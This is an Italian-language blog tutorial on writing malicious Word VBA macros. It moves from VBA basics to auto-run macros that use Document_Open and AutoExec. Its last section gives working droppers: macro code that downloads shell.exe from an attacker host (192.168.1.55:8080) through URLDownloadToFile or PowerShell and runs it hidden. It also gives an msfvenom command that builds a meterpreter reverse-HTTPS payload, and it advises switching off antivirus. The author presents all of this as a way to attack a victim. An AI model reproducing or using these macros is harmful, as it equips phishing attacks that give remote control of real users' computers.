Creare Macro VBA malevola con Windows

Tempo di lettura: 7 minuti

In un vecchio articolo mi sono occupato di analizzare una macro malevola al fine di identificare le funzionalità e i danni che avrebbe potuto causare al sistema. Oggi (e nei prossimi articoli probabilmente), ci occuperemo di capire come funzionano le Macro, come sviluppare in Visual Basic for Application e successivamente exploitare tramite le macro un computer windows. Ma andiamo con ordine.

Visual Basic for Applications

Secondo Wikipedia, Visual Basic for Applications (VBA) è un’implementazione di Visual Basic inserita all’interno di applicazioni Microsoft, è un linguaggio di programmazione ad alto livello composto da oggetti che possono essere:

  1. Subroutine: di fatto la macro che esegue un insieme di operazioni
  2. Funzioni: classiche funzioni che richiedono un input ed eseguono le operazioni una volta richiamate.

Solitamente le macro in Office vengono usate per:

  • Automatizzare task ripetitivi
  • Interagire con l’utente che aprirà il file

ma come ben sappiamo, sono anche utilizzate per sfruttare la debolezza dell’essere umano e portare attacchi di vario tipo.

In questo articolo tralascerò le applicazioni delle Macro ai fini dell’utilizzo di Word (salvataggio file, particolari operazioni) che potete trovare un’ottima guida sul sito di Microsoft ma, dopo una breve infarinatura, vedremo come attaccare una vittima creando una reverse shell per poter accedere al suo dispositivo.

Hello World

Una volta aperto Word, basterà cliccare su Visualizza -> Macro -> Visualizza Macro per creare la nostra prima macro.

Inserito il nome della macro, andiamo a scrivere:

Sub HelloWordl()
MsgBox "Hello World!"
End Sub

E premendo F5 (o il bottone esegui in alto) avremo il nostro messaggio.

Condizionale

L’if è come una normale condizione in altri linguaggi di programmazione. In questo caso ho inserito anche un’altra subroutine per introdurle direttamente.

Sub Condizionale()
    Dim NumeroA As Long
    Dim NumeroB As Long
    Prompt_1 = "Inserisci il primo numero"
    Prompt_2 = "Inserisci il secondo numero"
    Title = "A < B ?"
    NumeroA = InputBox(Prompt_1, Title)
    NumeroB = InputBox(Prompt_2, Title)
    massimo NumeroA, NumeroB
End Sub


Sub massimo(A As Long, B As Long)
    If A < B Then
        MsgBox (True)
    Else
        MsgBox (False)
    End If
End Sub

In questo caso verifichiamo se un numero è maggiore di un altro in base all’input dell’utente:

  1. Dim NumeroA As Long: viene dichiarata la variabile del numero che verrà inserito
  2. Prompt: è il messaggio che verrà stampato
  3. InputBox: è l’input dell’utente
  4. Massimo: sub routine definita poco sotto dove è stato inserito il condizionale

Cicli

Come per il condizionale, i cicli sono molto semplici.

Per quanto riguarda il for:

Sub macro_for()
    For counter = 1 To 3
        MsgBox (Alert)
    Next counter
End Sub

Invece per il while

Sub macro_while()
    Dim Counter
    Counter = 0
    While Counter < 20
    Counter = Counter + 1
    MsgBox (Counter)
    Wend
End Sub

Esecuzione di Comandi

Se volessimo eseguire un programma appena il documento Word viene aperto, è possibile farlo con il comando Shell

Sub Document_Open()
    macro
End Sub

Sub AutoExec()
    macro
End Sub
Sub macro()
    Dim RetVal
    RetVal = Shell("C:\WINDOWS\SYSTEM32\CALC.EXE", 1)
End Sub

In questo modo appena apriremo il documento, la Macro verrà eseguita (dopo aver disabilitato il warning sulle macro disabilitate di default)

In un modo molto simile possiamo eseguire anche il terminale

Sub Document_Open()
    macro
End Sub

Sub AutoExec()
    macro
End Sub
Sub macro()
    Dim str As String
    str = "cmd.exe"
    Shell str
End Sub

Reverse Shell

Come abbiamo visto possiamo eseguire comandi appena viene aperto un documento, quindi come creiamo una reverse shell?

Ci sono diversi modi, vediamone un paio.

Ricordo di disattivare l’antivirus, altrimenti la reverse shell verrà cancellata

Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
(ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, _
ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Sub macro()
    DownloadFile = "shell.exe"
    URL = "http://192.168.1.55:8080/" & DownloadFile
    LocalFilename = ActiveDocument.Path & "\" & DownloadFile
    cmd = URLDownloadToFile(0, URL, LocalFilename, 0, 0) = 0
    Shell LocalFilename, vbHide
End Sub

In questo caso abbiamo:

  • Richiamato la funzione URLDownloadToFile C# in modo da poterla utilizzare nella penultima riga
  • Definito il file da scaricare e impostato il path di destinazione
  • Scaricato il file con cmd
  • Eseguito con il comando Shell il file e utilizzando vbHide per non mostrarlo all’utente.

Sulla kali ho invece creato una reverse shell con msfvenom, eseguito un server con python sulla porta 8080 per permettere il download del file e con metasploit eseguito un handler per eseguire la reverse shell

kali@kali:~$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.55 LPORT=4443 -f exe -o shell.exe

Sub macro()
    Dim str As String
    str = "Powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.55:8080/shell.exe', 'shell.exe')"
    Shell str
    Dim exePath As String
    exePath = ActiveDocument.Path + "\shell.exe"
    Shell exePath, vbHide
End Sub

Invece con questo comando ho utilizzato Powershell, che con un singolo comando mi ha permetto di scaricare il file e successivamente eseguitlo tramite Shell

Conclusioni

Questo articolo voleva essere solamente una breve introduzione, nei prossimi andremo ad indagare altri modi per creare reverse shell tramite Word, Powershell e le Macro. Per approfondimenti su VBA, Macro e sicurezza consiglio: